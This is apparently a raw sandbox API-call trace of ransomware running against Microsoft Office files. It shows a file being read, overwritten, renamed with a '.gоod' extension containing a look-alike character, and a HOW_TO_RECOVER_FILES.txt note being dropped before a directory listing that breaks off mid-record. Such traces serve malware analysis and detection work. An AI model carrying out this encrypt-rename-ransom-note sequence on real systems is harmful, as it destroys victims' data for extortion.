GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZTOOL.ACCDE", nBufferLength=0x105, lpBuffer=0x206ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZTOOL.ACCDE", lpFilePart=0x0) returned 0x45 [0205.606] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206edd00) returned 1 [0205.606] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZTOOL.ACCDE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwztool.accde"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0205.606] GetFileType (hFile=0x820) returned 0x1 [0205.606] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206edc70) returned 1 [0205.606] GetFileType (hFile=0x820) returned 0x1 [0205.606] ReadFile (in: hFile=0x820, lpBuffer=0x345f180, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206eddd8, lpOverlapped=0x0 | out: lpBuffer=0x345f180*, lpNumberOfBytesRead=0x206eddd8*=0x1000, lpOverlapped=0x0) returned 1 [0206.169] CloseHandle (hObject=0x820) returned 1 [0206.169] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZTOOL.ACCDE", nBufferLength=0x105, lpBuffer=0x206ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZTOOL.ACCDE", lpFilePart=0x0) returned 0x45 [0206.169] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206edd00) returned 1 [0206.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZTOOL.ACCDE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwztool.accde"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x820 [0206.169] GetFileType (hFile=0x820) returned 0x1 [0206.169] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206edc70) returned 1 [0206.169] GetFileType (hFile=0x820) returned 0x1 [0206.169] WriteFile (in: hFile=0x820, lpBuffer=0x33e93d8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x206ede88, lpOverlapped=0x0 | out: lpBuffer=0x33e93d8*, lpNumberOfBytesWritten=0x206ede88*=0x1010, lpOverlapped=0x0) returned 1 [0206.170] CloseHandle (hObject=0x820) returned 1 [0206.170] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZTOOL.ACCDE", nBufferLength=0x105, lpBuffer=0x206ed930, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZTOOL.ACCDE", lpFilePart=0x0) returned 0x45 [0206.170] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZTOOL.ACCDE.gоod", nBufferLength=0x105, lpBuffer=0x206ed930, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZTOOL.ACCDE.gоod", lpFilePart=0x0) returned 0x4a [0206.170] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206eddc0) returned 1 [0206.170] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZTOOL.ACCDE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwztool.accde"), fInfoLevelId=0x0, lpFileInformation=0x206edea0 | out: lpFileInformation=0x206edea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x13086ac2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x13086ac2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x771a56c7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xaf6010)) returned 1 [0206.170] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206edd80) returned 1 [0206.170] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZTOOL.ACCDE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwztool.accde"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\ACWZTOOL.ACCDE.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\acwztool.accde.gоod")) returned 1 [0206.171] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4f [0206.172] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206edfc0) returned 1 [0206.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ACCWIZ\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\accwiz\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x820 [0206.172] GetFileType (hFile=0x820) returned 0x1 [0206.172] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206edf30) returned 1 [0206.172] GetFileType (hFile=0x820) returned 0x1 [0206.173] WriteFile (in: hFile=0x820, lpBuffer=0x3426ae0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ee088, lpOverlapped=0x0 | out: lpBuffer=0x3426ae0*, lpNumberOfBytesWritten=0x206ee088*=0x5d0, lpOverlapped=0x0) returned 1 [0206.174] CloseHandle (hObject=0x820) returned 1 [0206.174] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ee050) returned 1 [0206.174] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS", nBufferLength=0x105, lpBuffer=0x206edaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS", lpFilePart=0x0) returned 0x36 [0206.174] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\*", lpFindFileData=0x206edd70 | out: lpFindFileData=0x206edd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc7c5a96a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133819a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de60 [0206.175] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc7c5a96a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133819a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0206.175] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6a7cf13, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a7cf13, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a7cf13, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2d6d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCOLK.DLL", cAlternateFileName="")) returned 1 [0206.175] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc7c5a96a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc7c5a96a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc7c80c48, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x23460, dwReserved0=0x0, dwReserved1=0x0, cFileName="ColleagueImport.dll", cAlternateFileName="COLLEA~1.DLL")) returned 1 [0206.175] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xafa146a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xafa146a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xafa146a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x33e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FAXEXT.ECF", cAlternateFileName="")) returned 1 [0206.175] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd42039, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd42039, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Power Query for Excel Integrated", cAlternateFileName="MICROS~1")) returned 1 [0206.176] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992fb3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992fb3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2283d0f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3688, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSEC.DLL", cAlternateFileName="")) returned 1 [0206.176] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133819a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133819a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSEC.XML", cAlternateFileName="")) returned 1 [0206.176] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xafa146a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xafa146a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xafa146a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSPC.ECF", cAlternateFileName="")) returned 1 [0206.176] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x238ed8d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x238ed8d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2984c3b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x25c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="otkloadr_x64.dll", cAlternateFileName="OTKLOA~1.DLL")) returned 1 [0206.176] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xafa146a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xafa146a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xafa146a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x786, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTEX.ECF", cAlternateFileName="")) returned 1 [0206.176] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xafa146a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xafa146a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xafa146a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x352, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTEX2.ECF", cAlternateFileName="")) returned 1 [0206.176] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc7c5a96a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc7c5a96a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc7c80c48, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x156c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLVBA.DLL", cAlternateFileName="")) returned 1 [0206.176] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xafa146a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xafa146a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xafa146a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x272, dwReserved0=0x0, dwReserved1=0x0, cFileName="PMAILEXT.ECF", cAlternateFileName="")) returned 1 [0206.176] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf016e209, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Power Map Excel Add-in", cAlternateFileName="POWERM~1")) returned 1 [0206.177] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1525a179, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Power View Excel Add-in", cAlternateFileName="POWERV~1")) returned 1 [0206.177] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPivot Excel Add-in", cAlternateFileName="POWERP~1")) returned 1 [0206.177] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc7c5a96a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc7c5a96a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9d4a250, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x163c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="UmOutlookAddin.dll", cAlternateFileName="UMOUTL~1.DLL")) returned 1 [0206.177] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0206.177] FindClose (in: hFindFile=0x131de60 | out: hFindFile=0x131de60) returned 1 [0206.177] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206edf90) returned 1 [0206.177] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206edf50) returned 1 [0206.177] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ee050) returned 1 [0206.177] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS", nBufferLength=0x105, lpBuffer=0x206edaf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS", lpFilePart=0x0) returned 0x36 [0206.178] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\*", lpFindFileData=0x206edd70 | out: lpFindFileData=0x206edd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc7c5a96a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133819a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131de60 [0206.178] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc7c5a96a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133819a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0206.178] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6a7cf13, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a7cf13, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a7cf13, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2d6d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCOLK.DLL", cAlternateFileName="")) returned 1 [0206.178] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc7c5a96a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc7c5a96a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc7c80c48, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x23460, dwReserved0=0x0, dwReserved1=0x0, cFileName="ColleagueImport.dll", cAlternateFileName="COLLEA~1.DLL")) returned 1 [0206.178] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xafa146a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xafa146a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xafa146a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x33e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FAXEXT.ECF", cAlternateFileName="")) returned 1 [0206.178] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd42039, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd42039, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Power Query for Excel Integrated", cAlternateFileName="MICROS~1")) returned 1 [0206.179] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992fb3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992fb3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2283d0f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3688, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSEC.DLL", cAlternateFileName="")) returned 1 [0206.179] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133819a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133819a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSEC.XML", cAlternateFileName="")) returned 1 [0206.179] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xafa146a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xafa146a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xafa146a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSSPC.ECF", cAlternateFileName="")) returned 1 [0206.179] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x238ed8d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x238ed8d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2984c3b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x25c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="otkloadr_x64.dll", cAlternateFileName="OTKLOA~1.DLL")) returned 1 [0206.179] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xafa146a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xafa146a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xafa146a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x786, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTEX.ECF", cAlternateFileName="")) returned 1 [0206.179] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xafa146a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xafa146a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xafa146a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x352, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTEX2.ECF", cAlternateFileName="")) returned 1 [0206.179] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc7c5a96a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc7c5a96a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc7c80c48, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x156c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OUTLVBA.DLL", cAlternateFileName="")) returned 1 [0206.180] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xafa146a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xafa146a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xafa146a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x272, dwReserved0=0x0, dwReserved1=0x0, cFileName="PMAILEXT.ECF", cAlternateFileName="")) returned 1 [0206.180] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf016e209, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Power Map Excel Add-in", cAlternateFileName="POWERM~1")) returned 1 [0206.180] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206edd30 | out: lpFindFileData=0x206edd30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1525a179, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Power View Excel Add-in", cAlternateFileName="POWERV~1")) returned 1 [0206.180] FindNextFileW (in: hFindFile=0x131de60, lpFindFileData=0x206edd30 | out: 